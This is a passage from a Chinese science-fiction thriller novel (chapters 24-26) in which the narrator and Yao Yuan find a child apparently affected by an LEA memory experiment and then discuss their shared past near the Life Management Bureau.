“不用嫉妒。”我认下“夸奖”,“你不担心姚瑎?”
“不担心。”姚渊看了眼倒计时,“再怎么被纪殊珩压着,我也不是吉祥物。”
我手底下全是不情不愿的蚂蚱,真羡慕姚渊还有人能用。
也许是我的表情完全不加掩饰,电梯另一侧的男人终于抓到了机会:“不用羡慕,吴队。”
姚渊理所当然地签收了我的白眼。
24. 未曾提及的过往
电梯稳稳地停在了负三楼。
金属双开门打开,没有任何光线进来,我和姚渊配合检查了目光所及的环境。
没有任何嫌疑光点。我熟悉黑暗环境的暗杀,我的直觉和身体,都告诉我这个环境里没有任何有威胁的活物。
但是有很短促的呼吸声,听起来年纪并不大。和暂时队友交换了眼神,我摸出随身的手电筒。
冷光照亮了半个空间,空间中央放着管理局制式培养舱。用来制造复制体的培养舱,但是周围没有我记忆里熟悉的配套设备,不能投入使用。
纪殊珩这是几个意思?我压低了眉头。
她这是要针对谁?逻辑上不应该是我,如果早就猜出姚渊找上的人是我,就不会派那种在我眼里业余到家的人来追查我。
那就是姚渊?暂时没有头绪。
没有找到疑似的生物,我晃了晃手电筒,把另一半空间也照亮。
唉,简直就是浮夸的舞台。我一肚子槽不吐不快,转而又想起姚渊在当时余殷坐标时的灯光设计和台词风格,怕不是组织的一脉相承。
其实空间格局很熟悉,跟那间负六层房间几乎一模一样。既然那里有防火门,那么这边说不定也有除了电梯之外的出口。
姚渊扫了我一眼,似乎想问,但最后还是保持了沉默,先我一步踏进黑暗里。
我把最近的滑动置物架卡在电梯门口,不让电梯自行关闭,顺手摁了上下行键,没有“门口有异物”的语音警告,甚至那两个按键没有一点反馈。
啧,做得真绝。我跟在姚渊后方落后几步,配合他,检查所有角落,去找呼吸声的来源。
整个空间的光源除了我手里的手电筒,就只剩下昏暗且有限的电梯灯。
“哥哥!”
脆生生又惊喜又委屈的声音响起,我迅速调转枪口和手电,转向声音来源。
姚渊明显被吓了一跳,显得有些不知所措。我看见他的枪口猛然往上抬起,空出的手被一位扎着双马尾的小女孩牵着。
小女孩怀里还抱着一只毛绒兔子,兔子的手里缝了颗缺一口的毛绒苹果。她身上很干净,精神状态看起来也很正常,看起来不像是被虐待。
有点眼熟。我迅速在脑子里定位到姚渊家里玄关处的合照,上面的姚瑎差不多就这么大,不,不能这么说,是,那个小女孩像极了五六岁的姚瑎。
我只能先收好枪口,总不能把枪对准未成年,更何况还是软面包似的迷你“姚瑎”。
“你……侄女?”我实在是找不到词了。
我见到的姚瑎起码已经成年了,再让这个年纪的姚渊添一个这个年纪的亲妹妹,倒也太为难人家父母了,我只能用开玩笑的语气缓和姚总督明显宕机的思维。
“哥哥?”摸不清身份的小女孩用力拉了拉姚渊的手,声音带了点哭腔,“我害怕。”
“不用怕。”姚渊终于挣扎出点理智,退膛子弹,收好枪,半跪下和小女孩对视,“谁带你来的?”
“没有谁,姐姐说让我在这里等哥哥带我回家。”女孩偏了偏头,“哥哥,你长皱纹了。”
我差点笑出声了,连带着我手里作为打光的手电筒都无声地晃了半天。姚渊本人转头不由分说地扫了我一眼,我只能单手投降。
童言无忌,童言无忌。
“哥哥,我没有那个意思……”小女孩似乎意识到自己的词不达意,又委屈又极力尝试辩解着,“就是跟我记的不一样……”
当然不是笑的时候,问题在于小女孩的判定背后似乎锚定了更年轻的姚渊,真正的问题才刚刚开始。
我清清嗓子:“你的哥哥是不是还会去上学?”
“唔,哥哥会穿很,”小女孩弱弱地努力回答我,“尖的衣服,我不喜欢。”
奇妙的形容词,真有意思。我知道她在说姚渊在学校里的校服。作为未来的指挥官,气质形象和能力都得出众,习惯一整套繁琐的制服也是必修课。
姚渊摸了摸小女孩的头,让她先在原地等一等,起身把我拉到角落里。
“你现在坦白你有私生子我也可以接受的,我不在乎身边人的私生活如何。”没等姚渊张嘴,我必须把这一套吐槽塞给他,他狼狈的样子简直就是世间罕见,“我认真的。”
姚渊扶额,无语地辩解:“你脑袋里装的什么?我没有比你清闲多少。”
这倒是事实。我挥挥手示意他不要太放在心上,转回话题:“那个小女孩,你觉不觉得和姚瑎太像了?”
“简直就是姚瑎。”姚渊的语气里是无能为力,“跟我入伍那会抓着我裤子哭的样子一模一样。她不喜欢制服,也是因为我每次穿就代表要离开她。”
“复制体?”我沉下声音,比划了一下,“但和照片上也有出入,姚瑎明显更——”
“这就是问题所在。”姚渊难得有些摸不着头脑,“身体不是,但是行为特征和偏好完全一致。”
对视两秒,我迅速掏枪对准那个来历不明的女孩。姚总督一把摁下我的手:“疯了,你要做什么?”
倒计时七分四十二秒。我迅速捕捉到姚渊手腕上的倒计时秒数。
“纪殊珩的LEA实验。”我试图让他认清事实,“你想要再养一个妹妹我没意见,但你上司绝不会让你就这样带出去。”
姚渊的脸上显露出一种毫不掩饰的纠结和痛苦,跟之前和我一边发疯一边推进计划的铁腕手段总督判若两人。
我抬头盯着他,再次向他重申:“你要是下不去手,我来。”
“你要是能下手,早就逼我把姚瑎枪毙了作为投名状,还犯得着用那个倒霉蛋同行吗?”他放开我的手腕,转身背对我,来回踱步,“这种离间手段太低级了,纪殊珩绝不会是这么简单的人。”
操,你才是真疯子。我对着他的第一句话匪夷所思,没敢说出声。不过确实,过了那阵冲动,我当真下不去手,对无辜者出手实在是下作中的下作。
纪殊珩想看见什么?我想着。眼前的小女孩显然是代表姚瑎的威胁?还是想看我们之间的合作到什么地步?
如果我是纪殊珩,我想看的一定是姚渊为了姚瑎,把枪口对准我,把自己的风险转嫁给姚渊。
难得啊,把姚渊架在火上烤。很难说有没有几分报复心理,我近乎是欣赏地看他在非理性状态推演事件。
我叹气,不知道是落井下石,还是给他定心丸:“说实话,我们之间都不用离间,就已经很薄弱了。”
“我没意见。”姚渊幽幽地附和我。
反正光站着也没有什么进展,我转而贴着墙壁去检查有没有潜在的出入口,倒是先让我找到了电力总闸。
顺手拉了几个总开关,毫无反应,意料之中。我不爽地略过这一步。独立电源的电梯被我卡在了这一层,而这间房屋供电也被切断了。
要么有第二个电梯,要么就有楼梯。我个人觉得后者概率更大点,但可能更隐蔽。
纪殊珩总不能想不到我会把电梯卡那,断了她最显眼的来路,也断了我最重要的退路。
“咚咚”地一路从墙壁上敲过去,我只感觉我像个陷入刻板行为的悲惨海豹,不知道纪摄政在监控摄像头底下怎么笑呢。
直到声音有了些许细微不同,掏枪瞄了瞄木板后的门锁位置,准备暴力破门,但偏偏让我和那小女孩对上视线了,心念一动干脆改了计划。
小女孩似乎是怕黑,不自觉地跟着我跑。我也不好说什么,只是把手电筒往她边上挪了几寸。
纪殊珩肯定没想把我和姚渊困死,她一定有后手。
但我也有。我坏心思地笑了起来。
无人机会在报警人的坐标处留下现场照片,因为我给出的坐标是楼层,它们会尝试找到我这个人,就像余殷自己报案、设计了自杀现场照片的无人机作为证据一样。
所以说,纪殊珩,要么你就看着七分钟内是姚渊服软,还是无人机先拍下你的“拐卖窝藏地点”。
这里可是上层,每一条命都是弥足珍贵的。生命复制体,人类原型,只要是人类,是一条命,就是管理局必定要查的东西。
而且,暗门是隐藏在墙壁里的,能够最快清理现场的电梯路线被我拦住了,纪殊珩再怎么做计划,也不能在几分钟之内把现场痕迹全部清理完。
打定主意玩一把,我转而去检查管理局的培养舱。
是很老旧的款式。我举着手电筒检查底下标识,没有标注特殊信息,是很早的淘汰款,只需要一点装置修改和改装,就可以变成医院里常见的修复舱。
纪殊珩能找到未改装的培养舱,也是很有本事了。
但我不觉得除了管理局之外,还有私人企业或者组织有能力建造生物复制体,光是一个人的生物备份就是相当庞大的数据量,能造个大脑以外的可用器官就已经很了不得了。
“姐姐,”小女孩似乎是意识到我不排斥她,拉了拉我的风衣下摆,“哥哥在找什么?”
我这才看见姚渊叼着他自己的手电筒在各种柜子间翻找。
这不是有自己的手电筒,干嘛非得蹭我的。
我拿手电筒晃了晃他:“你妹妹问你,找什么呢?”
被灯光捕获的姚瑎哥哥拿走嘴里的手电筒,字正腔圆地回答我:“那不是我妹妹。”
尊重当事人。我从善如流地修改了说法:“那我问
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你,你找什么呢?”
“不知道。”姚渊听起来很诚实地回答我,“我在这待了大半年,神智清醒的时候很少,抓住顺便机会看看。”
“机会”是这样用的吗?我撇开明显是敷衍我的说法:“作为LEA实验体?”
姚渊似乎不愿意提起这段时间,但他还是回答了我:“是。”
“你为什么会愿意做实验体?”我趴在培养舱上问他,“就凭你,你不愿意组织也拿你没辙。”
“我不是自愿的。”姚渊似乎一无所获,站起身换了个位置,“明明就是很普通的一天,一觉醒来,以为自己做了个被人往死里追杀的梦,谈判不行,逃跑无果,最后只能不甘心地死去。”
我真的那么凶神恶煞吗?我自认那时候还是挺甜妹的?我不知道应该用什么语气,只好保持安静等着姚渊说完。
“听起来只是一场噩梦而已。”我问他,“你为什么开始查了?”
“我找到了空注射器,在身上也找到了针孔。”他轻轻地叹气,“不管是不是和那份记忆有关,一个人能够直接潜入我的住处,给我注射未知药剂,这简直就是赤裸裸的威胁。”
我听得摸了摸下巴:“那倒是可以理解。”
“不管这只是一部分,主要是因为姚瑎。”姚渊的语气里露出几分陌生的、无法定义的情绪,“自从我回家之后,她相当、相当忌惮我。我不指望你能感同身受,你只需要知道那感觉非常不对。”
“所以,就因为这份不知真假的记忆,和莫名其妙的认知错位,你就觉得你曾经对她做了什么?”我有些难以置信似的说出这个问句,“所以你就赌上一切重查十年前的案件?”
似曾相似的加入组织理由。我有些无奈地想着。准确来说,只是自己视角和他人视角的区别。
姚渊似乎习惯了他人对这种情况的不理解,没有和我辩解,也没有否认我的说法:“我本想瞒着姚瑎,但是她一眼就看出来了,和我大吵一架,最后和我强行绑定一起来了组织。”
“你没想过停止吗?”我说完就反思自己为什么要问这么蠢的问题。
他意味不明地看我一眼:“既然我作为复制体这么痛苦,那我在十年前的组织里一定做了什么,让小瑎又恨我又放不下我。”
“而且,”他停顿了一下,“其实你在地下天文馆的质疑是对的,我自己也质疑,但我没有能力去压制纪殊珩,我只能保持中立,不偏向任何一种手段。”
过量LEA可以伪装成无法查出的突发性死亡,而物理格斗手段普通人再怎么练,也无法完全处理抹杀一个人的物理存在。
作为他人精神信仰的实体人类,确实怎么管都里外不是人。
“但你还是点头让叶琦追着我杀了。”我毫不留情地指出历史遗留问题。
姚渊有些无语地瞥了我一眼:“那你要我怎么办?摇头吗?你猜猜我和你在场,谁先会被底下的人架走绑电线杆上烧了?”
那确实是总督先烧我后烧。我腹诽着。
“那也不代表你毫无责任。”我拿手电筒晃他,看他在我的光线底下躲,才发了善心收手。
姚渊长长地叹了一口气:“你放心,干完这单我会安安分分接受制裁的。”
拉倒吧,现在人类异常信仰组织的姚渊姚总督是管理局编外顾问了,制不制裁我说了算,是不是卧底还是我说了算。
说起来,当时搪塞吴潍那个“总督为什么会继承叶琦修正”的问题,我给她的答案是“姚渊和叶琦都是管理局卧底”,这下真成真的了。
当然这些还没定论,只是在我手底下工作的一点小福利。要是姚渊能被纪殊珩控制到这种地步,连“背叛”都是演给我看的,那我只能先举白旗后举枪了。
我被他这种坦然地自首态度噎得无话可说,挖空心思想说点什么,最后只能说一句:“你还是应该先找纪殊珩要公司股权。”
姚渊生硬但又出自内心笑了两声,隐晦而服软地惦记上我的面包:“记住了,面包讨债者兼蚂蚱大王。”
听起来我很难吃并且斤斤计较。我缩了缩脖子,对我的新头衔感到深沉的不适,不再摸鱼,干点正事。
冲小女孩招招手,把她带到姚渊身边,我关了自己的手电筒,示意姚总督正儿八经地当好他“哄小孩”的“泰迪熊”。
“姚渊,”我上膛手枪,清脆的金属碰撞声回荡在诡异安静的黑暗空间里,“我问你一个问题。”
我在姚渊的手电筒里摆出标准的架势,把枪口对准他。
在他警惕和克制着准备拔枪的状态中,我用着他曾经居高临下的傲慢语气:“自由和真相,二选一,你挑哪一个?”
25. 未曾提及的过往
姚渊盯着我看,坚定而缓慢地回答我:“真相。”
我调转手腕,上膛的一发子弹射向了卡着电梯的滑动置物架,第二发对准了电梯上行键。置物架被整个推进了电梯,电梯门短暂合上之后,又因为上行键而再次打开。
轻松转枪,而后收进腰间,我冲他一笑:“姚渊,你归我了。”
经常万策算尽的姚渊眼里,终于露出了“你到底是谁”的困惑和真正的认输。
我没理“姚渊式崇拜”,冲他疯狂使眼色,示意他赶紧哄一下紧贴着他大腿几乎要吓哭出来的小女孩。
愣了几瞬的姚渊摸着小女孩的头,再一次蹲下身子和她平视。
我看见姚渊手腕上的倒计时恰好归零。不动声色地松了口气,接下来的纪殊珩估计会老实很多了。
尽管这小女孩的档案估计会被掩盖得很好,但也足够让纪殊珩喝一壶了。
我听见姚渊语气异常温柔地说:“别怕,我带你回家。”
还是对他温柔说话的状态感到不适,等着小女孩收起眼泪,我带着姚渊和他新的小尾巴,坐着电梯回到大厅一楼。
刚踏出门,我差点跟急着进电梯的无人机撞上。它“滴滴”两声无情地挤开两大一小,最后正面转向我:“感谢合作——嘟嘟。”
原来会说话?十年前的无人机一点语音内置没有,那可是纯粹的工具。
我怪新奇地目送着它乘电梯下去,在姚渊“你没见过无人机吗”的表情里假装不经意地转头,对着大厅角落里的摄像头比了个“下次再见”的手势。
一台无人机从紧急出口的楼道里飘出来,对着我“咔擦”一张,而后就这么跟着我出门。
门口还有一台无人机在摇晃,扫描着每个出入的生物。
我本想顺势上车,刚拉开车门,坐在驾驶位上,就看见粘在姚渊腿上的小女孩。
获得新“妹妹”的姚渊和我对视,两个人都有些少见的沉默和迷茫。
“这要怎么办?”我看见那个毛绒兔子被小女孩拖在地上,“这里是城市边缘,放在原地等管理员来不现实。”
“单独放在市中心,我们俩会被同时送进去。”他握紧了小女孩的手,不知道是紧张还是安抚,“必须要去一趟管理局?”
“只有你会被送进去,”我懒洋洋地补刀,“放心,我会来捞你的。”
姚渊用眼神拒绝了我这个提议。
看他被我带着走实在是太有意思了。
我清清嗓子,宣布我的计划:“找吴潍吧。先查这个小女孩的档案,再亲自把人送回家。后面管理局问起来,就说是带小朋友出门玩了。”
“这么草率?”姚渊觉得这个计划全是问题,“你调用无人机,管理层不会问你吗?”
我拉上车门,勾起嘴角,示意他上车:“我有人脉,姚总督。”
其实没有。我看着姚渊陪着小女孩坐在后座,完全不心虚地想着。反正也和吴潍说过,我是借用了她的名义来做的这个任务,这个名字在管理层非常好用。
城市奠基团队,核心管理层,管理层,这是生命管理局的基本结构,中间还有细分,我不记得了,也懒得去记。
订货人肯定在核心管理层之上,否则调用不了下层的执行官。
我去的管理层就只是基层警察局而已,抓猫逗狗调解情感纠纷,说是市民服务员也不为过,不至于跟订货人撞上。
而且纪殊珩愿意给出“司南”这个代号,如果是真的,本身就是对订货人的警示,从边缘入手反而安全一点。
去管理局主要是做违规调用无人机的笔录,其次是试试“司南”这个代号是否确有其事,至于小女孩——
“姐姐,”那个女孩趴在我的座椅旁边,把脸几乎埋进自己手里的毛绒兔子里,“你认识我妈妈吗?”
“为什么这么问呀?”我下意识地夹着声音敷衍她,手里输入巡航坐标的手一点没停。
女孩皱着小脸,看起来就很用力地思考着:“妈妈也会用那种枪。”
在孩子面前用枪?我略微有些困惑,怪不得这小女孩听见枪声之后只是眼泪汪汪,没有尖叫着哭出来。
那这么说,她的妈妈是管理局的人了?我一想到可能会撞上对方找女儿找疯了的官方人员一阵恶寒。
姚渊,我说错了,我俩可能真的要做审讯室邻居了。
我没什么希望地问,指望能不能打个人情牌:“还记得你妈妈的名字吗?”
后座的小朋友摇头:“不知道,我已经很久没有见到妈妈了。”
我从后视镜和姚渊对视一眼,两个人心照不宣地交换一个眼神。
我对着小女孩试探性地问:“你叫什么名字?”
小女孩又露出了那个努力思考的表情,倒真是可爱:“不知道,我不记得了……”
这也是LEA效果的一部分?我思索着,不再强迫她说点什么。
城市边缘离市中心相当远,车程接近两个小时。
我也不清楚这女孩的身体状况,设定完自动巡航,翻了瓶未开封的瓶装水和仅剩的唯一的早餐面包,一并扔给后排新晋“保姆”。
重新清点起车里的维生物品,我忍不住叹气。
我来的时候才补充过能撑一星期的应急食品和水,现在才过去六天不到,就已经清空了。
怎么,我是什么移动餐车吗?我关上副驾驶的储物箱。这是恶魔餐车,吃过我车上东西的就是我手底下的人了。
本想给自己找点事做,但前面遗留下来问题没有实质的线索进展。
余殷的复制体身份只有猜测,没有证据;吴潍的那串时间“3815-11-26”和密语记录的三个短语“不要忘记、记忆是背叛、LEA解药”也没有新的头绪。
除了LEA走私案件的追查有一条不知道真假的线索,没什么好推论的。
我忽然有些无所事事了,手环也没有。要是用姚渊的手环联系吴潍,怕不是会被她整个划清界限。
要怎么和吴潍解释?我琢磨着话术,听见后座传来稳定绵长的呼吸声。
我特地转头去看,小女孩已经躺在姚渊腿上开始睡觉了。
哄小孩真有一手。人形枕头对我比了个噤声,我冲他指了指后窗底下的毯子,示意他可以用。
重新转回头,我给自己的手枪补弹。
这次能逃脱纯属侥幸。不知道我有没有表现出来,其实我有些后怕。
纪殊珩输在了不知道我的真实身份,没有做好百分百的后手;也是因为如此,这次她没有拦截调用无人机信号。
这些把戏我只能用一次,后面她一定会有所准备。
不过,这一点确实可以证明姚渊说的是实话,他对我的调查确实是个人行为,并且没有共享给摄政。
总之,这次侥幸,是我和姚渊共享真实情报的结果,只要有一个人说的是谎言,两个人就会被纪殊珩完全控制住。
我收好手枪,换了个舒服的姿势,闭上眼睛准备补个小觉。
其实调用无人机,一方面是想节省可能的打斗冲突时间;另一方面,是想看看她为什么敢留下的尸体证据,理论来说,这是非常严重的失误,她一定有什么底牌。
不管是LEA注射死亡会查不出死因,还是无法证明LEA能够彻底摧毁一个人的自我意识、并植入另一个人的自我意识,我都需要管理局替我验证猜测。
恍惚的梦境里,我似乎是梦到了十年前和核心管理层交涉的场景。
他把文件放在我面前,说:“你的复制体是残次品,你确定吗?”
那时候的我沉默着,盯着合上的文件沉默着,挣扎着,最后还是点头:“我不在乎,我只想自由。”
“残次品投入可能会引起不可控的后果,你设想的生活会被管理局修改、甚至是完全接管。”他一个字一个字地说着,似乎这样就能牵动我疲惫而麻木的神经,“假如你选择回来,那么对这个社会来说,你才是复制体,你的残次品复制体才是真正的‘吴潍’。”
我终于抬起眼睛,看向他:“我不会回来。”
他看向我的表情似乎是怜悯,又似乎是争取:“你可以再等半个月,我们可以看看下一个复制体——”
“不。”我斩钉截铁地拒绝他,“我的精神状态已经严重警告了,再拖延下去,我连去负世界的价值都没有了。”
他深深地叹气,不知道是对什么不舍,最后只是说了一句:“我知道了,我和他们讨论一下。”
十年前的我根本不知道他们在讨论什么。一个知道城市存续根基黑暗秘密的人,要么流放,要么直接处死,还会有什么选择?
直到现在,我才对他们的讨论有一点推测。
我的基因组判别认为,我不会有半个月追杀十余人的能力,也没有单枪匹马潜入管理局获取绝密文件的能力,更不能精英荟萃的人类异常信仰组织的信息翻个底朝天——但我做到了。
所以,他们的讨论其实是我的去向。是等我精神状态好转再做决策,还是按照我的想法,放我去负世界做生命维护执行官。
其实,我的十年,对我的顶头上司们来说,就是一场漫长的思维考核:看我说“选择沉默”是否真的能够从始至终,看我的能力是否稳定超出基因组判别。
我不知道他们到底是谁,也不知道他们在等待什么,讨论什么,选拔什么。
反正,我不在乎了。
“Wined。”
有人在喊我,而且离我很近,我下意识地出手抓住对方靠近的手,压着眉眼去看来者。
“你梦到什么了?”姚渊挣脱开我抓着他的手,“好大的起床气。”
我悻悻地收回手,避开这个问题:“你怎么不叫我?有必要下车吗?”
“我喊了好几声,你一点反应没有
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。”姚渊后退几步,示意我下车,“我还以为你饿晕了。”
我扶着脑袋,摁了摁隐隐作痛的太阳穴,起身下车:“多谢关心。”
离生命管理局还有两个街区,停车位置和上次送吴潍上班那次一个位置。
锁了车,我走出无人机死角,抬头看看路过的无人机,下意识低头又想去看手环,不知道第多少次地看了个空。
我没好气地问姚渊:“几点钟了?”
“十一点!”小女孩心情很好地回答我,手依然抓着姚渊不放。
手环会在两个小时内送来,我得先找个地方,好让管理局有个准确地址。
她似乎抬头看了看手里人的脸色,最后试探性地问我:“姐姐,我可以吃蛋糕吗?”
什么?问我?我成头头了?
我也不推辞,摸摸下巴,看向姚渊,试图征求教育专业人士意见:“我知道一家正餐一般,但甜品不错的咖啡厅,要试试吗?”
姚渊没有反对。
反正我是不挑,在“潮汐”咖啡厅继续点了“日暮时分”咖啡。把小女孩托管给姚渊,我只负责打配合。
我既没有手环,这间咖啡厅也没有新闻播报,实在是无聊至极。坐我对面的还不是吴潍,聊都没的聊。
只好在姚渊研究菜单的时候逗小孩玩,我撑在桌面上,看着她:“你家在哪里?”
“唔,家门口是草坪……”小女孩一手一个地抓着兔子耳朵,在桌面上只能露出一个头,“不对,好像是很多花?有秋千……又好像没有。”
LEA让她的记忆很混乱,一边在描述姚渊家门口的极简前院,一边在描述真正的家庭住址。
花朵和秋千,在有孩子的家庭里并不罕见,没有排除什么地点。
我托着下巴研究下一个问题:“那,跟我聊聊你喜欢什么?”
“蛋糕!”小女孩眼睛放光,“妈妈会给我做那种粉粉的蛋糕,我喜欢桃子味的。”
桃子蛋糕……叶琦偶尔也会给我们同期投喂自己做的烘焙甜品。
我作为她最亲近的朋友,做得丑的坏的基本都归我了,好看的全是外人的。特别是有奶油的,废品率高达百分之五十。
她自己做得高兴,倒是把我投喂得不得不每天多跑十几圈消耗多余的热量。就因为这件事,我还跟她撒娇,问她是不是胳膊肘往外拐。
我走神地想着,想起在宿舍里分享那几个很丑的桃子蛋糕。
“姚渊,多点一份桃子蛋糕。”我冷不丁对着新下属指手画脚,“她提醒我了。”
姚渊意味不明地勾起嘴角,没有嘲讽我,只是加了两份。
“姐姐,你也喜欢桃子蛋糕吗?”小女孩冲我眨眼,漂亮的深色眼睛亮亮地盯着我,“妈妈的桃子蛋糕又漂亮又好吃……我想妈妈了。”
“等吃完饭,我们就带你去找妈妈。”我冲她握拳,小幅度地做出打气的动作。
LEA的效果正在消退,这也是纪殊珩计划的一部分吗?我叹了口气。没有人体实验的证据,假如她认识这孩子的父母,这种事情根本算不上什么大事。
姚渊忙着照顾够不着碗的小女孩,我慢条斯理地端起咖啡抿了一口。
眼熟的服务员来到我们的桌边,告诉我们门口有快递。
是我的新手环,上一份手环的检讨还没写,我是打算再拖拖,之后就没必要交了。
起身拿回手环,我和姚渊诡异地对视着。思考两秒,我挑眉,暗示现在是我的主场,当着他面开机。
熟悉的提示音,熟悉的两张地图,熟悉的八天倒计时。
唉,当管理局的狗就是命苦。我检查着手环的每一寸,确认没有潜在的修改和隐藏问题。
订货人没有拦截手环?我从头再次检查了一遍。为什么?是不知道?还是权限不够拦截?
新手环不继承旧手环的一切信息,只继承旧手环的被联系代码。我无从得知吴潍和林执有没有给我发过消息,发了什么消息。
等了一会,管理局发来一长串问题要我回答。
我故意向姚渊展示了几条他导致的质询:“管理局来追我责任了,谢谢你给我惹的麻烦。”
姚渊倒是毫无愧疚之心,用餐巾纸擦掉小女孩嘴边的奶油,理直气壮地回答我:“一千四百三十万。”
那也不够买。我懒得跟他贫嘴,看看管理局到底要问点什么。
刚编辑语言,看了几条,发现了问题。
管理局居然在问我任务进度?管理局从来不关心任务进度,到时间没完成就是任务失败,要么主动乖乖回去述职,要么视情况连带着任务执行人和目标全部处理掉。
我摘掉手环,放到一边。
“怎么了?”姚渊意识到我的脸色不太好看,放下手里的杯子,“有什么问题?”
我斟酌着语句:“手环本身可能没问题,但有第三方伪装?我不确定。”
26. 未曾提及的过往
“第三方?”姚渊皱起眉头,“你为什么不怀疑你的上司?”
我要怎么说呢?我拿起小勺子有一搭没一搭地戳上蛋糕:“很简单,假如我的上司是内鬼,就不会把我叫回来。”
他扫了一眼我放在桌子上的手环,又看向我:“你对你上司的信任未免——”
“我可以肯定。”我打断姚渊潜在的冷嘲热讽,“LEA走私案件的上一个负责人是叶琦,而叶琦加入了组织。很显然,保持现状才对订货人势力有利,而不是把我叫回来追查。”
姚渊盯着我看,看着我把最后几口小蛋糕塞进着嘴里,才开口:“你,到底是从什么地方回来的?”
意识到自己有些说漏嘴,我不满地“啧”一声:“辐射区,我调到巡逻队了。”
姚渊看我的眼神依然是怀疑,但我没那么多耐心:“反正我不会说实话,你凑合听听得了。”
尽管“调到巡逻队”倒也不是谎话。
我和姚渊也就在这种时候会有几分心照不宣的默契。他暂时放弃了追问,我也省得再去编造新的谎言。
本想让姚渊自己找地方待着去,我转念一想,这人肯定不放心我一个人回管理局。
尽管巩固了合作共识,他愿意让我拿回手环已经是让步了,再让我一个人去管理局?他得是怕我找人把他送进去,正巧,我就是那个“受害者”和“证人”。
姚渊瞥了我一眼:“我越过敌军的狱,别拉低我的合作底线。”
哎,我还什么都没说呢。我没好气地瞪回去:“放心,我的任务重心跟你没关系。”
虽然管理局给我发的任务目标是姚渊,但后面跟着的是案件任务书,我不知道管理局是让我杀了他,还是跟他合作,还是控制他的意思。
一般来说是处理掉,但现在不行,我需要组织内部的信息。纪殊珩八成还在藏底牌,不管姚渊知不知情,我不能那么草率地决定。
总之,我现在是以LEA走私案优先,其他放放再做定论,况且,城市真相根本没泄漏,还没有到必须击杀的时候。
这里可是上层,十年前我“大杀四方”是有管理局背书的,现在打伤几个人都要来质询,我可不想给自己找麻烦。
唯一能够处理后不被质询的,只有吴潍,但我不想那么做。
等着小女孩安安静静地吃完,姚渊低头去问她还有什么想做的。
我照旧撑头盯着小女孩,没什么情绪地看她回应。但她看了看姚渊,又看了看我,视线落在我身上不动了:“姐姐,可以抱我一下吗?”
我这辈子没听过这么奇怪的要求。
没有多想,起身一把捞起小女孩坐在我手臂上,看她因为失重吓得直往我怀里躲,我忍不住笑了一声:“嗯?满意了吗?”
小女孩贴在我肩膀上,我也没管她嘀嘀咕咕地说了什么,顺手拿走桌子上的手环,结账走人。
得要走两个街区,走了一半多女孩都没有下来的意思。我是没什么感想,小女孩比我想象中轻多了,还很乖巧地待在我怀里没有挣扎。
说起来,叶琦女儿好像也是差不多大。我想着。当时找余殷档案的时候,吴潍也没有跟我提过女儿是什么样子,叫什么名字,关注点全在数字上了。
早知道还不如问问,至少我还能对着五六岁的小女孩聊聊天。
一路上姚渊走得那叫一个气定神闲,好像完全没意识到自己是个无家可归的流浪汉一样。
相顾无言地到达生命管理局附近的公园,我把小女孩放下。她想牵我的手,但我下意识地躲开,又把她扔给姚渊照顾去。
现在是生命管理局的午休时间。我从姚渊招招手,示意他再次上交手环:“我没吴潍的联系方式,共享一下。”
“你手环不继承联系方式?”嘴上问着,他把吴潍的联系方式扔给我,“不过,这个号码不一定是她私人的联系方式。鉴于你心眼子又多又小,吴潍估计也不枉多让。”
好意思说我?我连白眼都懒得看他:“放心,这就能解释我为什么失联了。”
“那我是什么角色?”姚渊站在我身后,看着我在手环上编辑消息,语气里有几分调笑,“真的不能演裙下臣?”
“离婚带娃的姚总督闭嘴吧。”我给他安了个离谱的头衔,“你只要记得你跟叶琦是一条战线的就行,我说你是什么就是什么。”
姚渊没有反驳,这是他之前就答应过的事情。
我带着两人走了一段,找到了熟悉的长椅。难得重新坐回十年前午休“专属席位”,我忍不住往后靠,把自己的身体和椅面完全贴合。
这个长椅夹在各种灌木和树林中间,位置很偏,视野也很一般,没点闲心的人都很难看见这里有个椅子。
但设计师放在这里的椅子自有他的道理。这个位置,可以清晰地看见远处的湖面。
波光粼粼的碧水。我收好短暂的坐没坐相,盯着生命管理局的倒影出神。和平,稳定,幸福,我觉得我保持沉默是对的。
姚渊忽然清了清嗓子,像是要发表什么长篇大论似的。我正经转头去看他,他反而又弱了下去。
“想问什么?”我大概能知道他在“扭捏”什么,“关于你的原型?”
我对纪殊珩说的关于“姚渊”的评价,其实算有半分真心。
我不知道姚渊第一次加入组织到底是为什么,但从我在组织里翻到的那些文件和报告,足以面前勾勒出一个极具热心和责任感的退伍军官形象,跟现在的姚渊如出一辙——当然这话很奇怪,他们就是同一个人。
与其纠结复制体的存在主义困境,不如直接定义成失忆的原型更加贴切,也更加让人富有生活激情。
姚渊退缩了两秒,最后还是用带了几分恳切的语气说:“纪殊珩展示给我的过去,跟管理局跟我说的完全一致,但明显你知道更多。”
我盯着他看:“你就这么信任我?从你仇人嘴里说出来的话你也信?”
他反而笑出了声:“人生的定义权在我手里,你说给我听,我就一定会全盘接受吗?”
“很有主观能动性。”我敷衍地夸赞他一句,把视线转向了管理局大楼,“我只知道你看不下去组织成员去辐射区排着队送死,你就自己提出要带队探索,损失了半个队伍,带回了‘怪物’。”
姚渊眨眼,示意我接着说。我无能为力地摊手:“接下来我就不清楚了,而且那些文件没有提到对‘怪物’的研究。”
小女孩本来坐在长椅上晃着腿,忽然跳下去对着某株植物仔细研究起来。我盯着她移动,确认她没有超出视线范围,换了个姿势继续说一点能说的。
“我当年的重点在于你们这个组织到底在找什么,为什么在辐射区死亡率百分百的情况下,还要去探索。”我现在才知道我对十年前的案件如数家珍,“至于异常信仰?卡普格拉综合征?根本和我没关系。”
“所以,你最后递交了那份合作探索报告。”姚渊又把话题转回我身上,“但管理局拒绝之后,为什么会把你流放到辐射区?”
姚渊又在试图套话。
“姚总督,话题中心是你,别扯到我身上。”我晃着手指,直接拒绝他的深究,“关于以前那个意气风发的自己,还有什么要问的吗?”
“秘密真多,神秘的女人。”姚渊被我看穿心思,也不遮掩,“听起来我没有非死不可的理由,为什么?”
你问我我问谁。我摸了摸太阳穴,诚恳地告诉他:“我不知道。反正名单上有你,也许是管理局会觉得你真的变成现在的‘人类异常信仰组织总督’的角色。”
“什么意思?”姚渊似乎有些真情实感的疑惑。
不是很想回答这个问题,但姚渊绝对会抓着这个点不放。
“我先声明,我真的不知道管理局怎么想的,以下部分是我的推测。”我只好给出自己的推测安抚他,“你现在是纪殊珩用来安抚遗老的工具,但假如,你真的认为那些‘召回’‘修正’能带回家人呢?真的觉得把爱变成刀挥向‘被质疑者’,就能让亲人朋友回来?”
